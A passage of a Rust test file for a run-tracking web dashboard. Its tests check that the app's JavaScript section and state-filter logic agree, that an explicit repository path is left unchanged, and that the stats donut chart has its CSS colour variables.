20714 let shapes_close = APP_JS[shapes_body_start..]
20715 .find("].map(")
20716 .expect("the shape list is closed by its done-computing .map(...)")
20717 + shapes_body_start;
20718 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
20719
20720 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
20721 for entry in shapes_src.split('{').skip(1) {
20722 let waiting = entry.contains("waiting: true");
20723 let dead = entry.contains("live: \"dead\"");
20724 let status_at =
20725 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
20726 let status_end = entry[status_at..]
20727 .find('"')
20728 .expect("the status string is closed")
20729 + status_at;
20730 let parked = entry.contains("display_status: \"parked\"");
20731 shapes.push((
20732 waiting,
20733 entry[status_at..status_end].to_string(),
20734 dead,
20735 parked,
20736 ));
20737 }
20738 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
20739
20740 let done_rule_marker = "done: !";
20744 let done_rule_at = APP_JS[shapes_close..]
20745 .find(done_rule_marker)
20746 .expect("the done rule follows the shape list")
20747 + shapes_close
20748 + done_rule_marker.len();
20749 let includes_at = APP_JS[done_rule_at..]
20750 .find(".includes(shape.status)")
20751 .expect("the done rule ends in .includes(shape.status)")
20752 + done_rule_at;
20753 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
20754 .trim()
20755 .trim_start_matches('[')
20756 .trim_end_matches(']')
20757 .split(',')
20758 .map(|s| s.trim().trim_matches('"'))
20759 .filter(|s| !s.is_empty())
20760 .collect();
20761
20762 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
20763 .into_iter()
20764 .map(|(waiting, status, dead, parked)| {
20765 let done = !not_done.contains(&status.as_str());
20766 (waiting, status, dead, parked, done)
20767 })
20768 .collect();
20769
20770 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
20774 if waiting {
20775 return "waiting";
20776 }
20777 if dead
20778 && !parked
20779 && !matches!(
20780 status,
20781 "merged"
20782 | "ready"
20783 | "stalled"
20784 | "blocked"
20785 | "failed"
20786 | "verified_noop"
20787 | "superseded"
20788 | "already_in_base"
20789 )
20790 {
20791 return "stale";
20792 }
20793 match status {
20794 "merged" | "ready" => "landed",
20795 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
20796 | "already_in_base" => "ended",
20797 _ => "flight",
20798 }
20799 }
20800
20801 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
20804 match filter_key {
20805 "active" => !done,
20806 "flight" => !done && !waiting && !dead,
20807 "stale" => !done && !waiting && dead,
20808 "waiting" => waiting,
20809 "done" => done,
20810 "all" => true,
20811 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
20812 }
20813 }
20814
20815 let compatible = |section: &str, filter_key: &str| {
20816 shapes.iter().any(|(waiting, status, dead, parked, done)| {
20817 run_section(*waiting, status, *dead, *parked) == section
20818 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
20819 })
20820 };
20821
20822 let expected = [
20827 ("waiting", [true, false, false, true, true, true]),
20828 ("stale", [true, false, true, false, false, true]),
20829 ("flight", [true, true, false, false, false, true]),
20830 ("landed", [false, false, false, false, true, true]),
20831 ("ended", [false, false, false, false, true, true]),
20832 ];
20833 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
20834
20835 for (section, wants) in expected {
20836 for (filter_key, want) in filter_keys.iter().zip(wants) {
20837 assert_eq!(
20838 compatible(section, filter_key),
20839 want,
20840 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
20841 );
20842 }
20843 }
20844
20845 assert!(
20848 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
20849 );
20850 assert!(APP_JS.contains(
20851 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
20852 ));
20853 assert!(APP_JS.contains(
20854 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
20855 ));
20856 }
20857
20858 #[tokio::test]
20859 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
20860 let dir = tempfile::tempdir().expect("tempdir");
20864 let explicit = dir.path().join("not-a-checkout");
20865 std::fs::create_dir_all(&explicit).expect("create dir");
20866 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
20867
20868 let missing = dir.path().join("does-not-exist-at-all");
20869 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
20870 }
20871
20872 #[test]
20873 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
20874 assert!(APP_JS.contains("function statsDonutArcs"));
20875 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
20876 assert!(APP_JS.contains("function statusInBucket"));
20878 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
20879 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
20880 let buckets = [
20881 "merged",
20882 "ready",
20883 "in_progress",
20884 "blocked",
20885 "failed",
20886 "verified_noop",
20887 "superseded",
20888 "stalled",
20889 ];
20890 for key in buckets {
20891 let var = format!("--verdict-{key}:");
20892 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
20894 assert!(
20895 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
20896 "{key}"
20897 );
20898 }
20899 }
20900}